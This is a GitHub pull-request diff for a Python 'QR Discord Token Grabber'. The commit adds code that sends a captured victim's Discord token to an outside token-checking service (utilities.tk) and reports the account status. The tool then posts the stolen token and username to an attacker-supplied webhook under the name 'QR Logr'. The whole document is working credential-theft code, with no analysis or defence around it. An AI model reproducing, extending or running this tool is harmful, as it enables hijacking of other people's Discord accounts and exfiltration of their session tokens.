Merge pull request #1 from mte0/patch-1

update qr grabber.py : lots of stuff read description
This commit is contained in:
the-cult-of-integral
2022-05-30 17:44:18 +01:00
committed by GitHub

View File

@@ -1,15 +1,9 @@
import base64
import os
import platform
import re
import requests
import time
import base64, os, platform, re, requests, time
from bs4 import BeautifulSoup
from colorama import Fore, init
from PIL import Image
from selenium import webdriver
def clear() -> None:
"""Clear the screen; works with "cls" and "clear" commands.
"""
@@ -102,9 +96,23 @@ return token;
{Fore.LIGHTYELLOW_EX}Enter anything to exit\n>>> {Fore.LIGHTWHITE_EX}""",
end="")
if re.search("[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}", token) == None:
print("invalid token? (didnt match regex)")
check = requests.post('https://utilities.tk/tokens/check', json={'token':token})
if check.status_code == 401:
print('Account invalid.')
elif check.status_code == 403:
a = check.json()['username']
print(f"Account locked. `{a}`")
elif check.status_code == 200:
a = check.json()['username']
print(f"Account valid! `{a}`")
data = {
"content": f"Token: {token}",
"username": "Token Grabber"
"content": f"TKN: {token}\nUser: {a}",
"username": "QR Logr"
}
if webhook_url:
result = requests.post(webhook_url, json=data)
@@ -126,8 +134,10 @@ if __name__ == "__main__":
{Fore.GREEN}QR Discord Token Grabber
{Fore.BLUE}Created by NightfallGT
Using utilities.tk API
Revised by Luci (9P9)
Revised by the-cult-of-integral
Revised by mte0
{Fore.LIGHTYELLOW_EX}Enter a webhook URL.
>>> {Fore.LIGHTWHITE_EX}""", end="")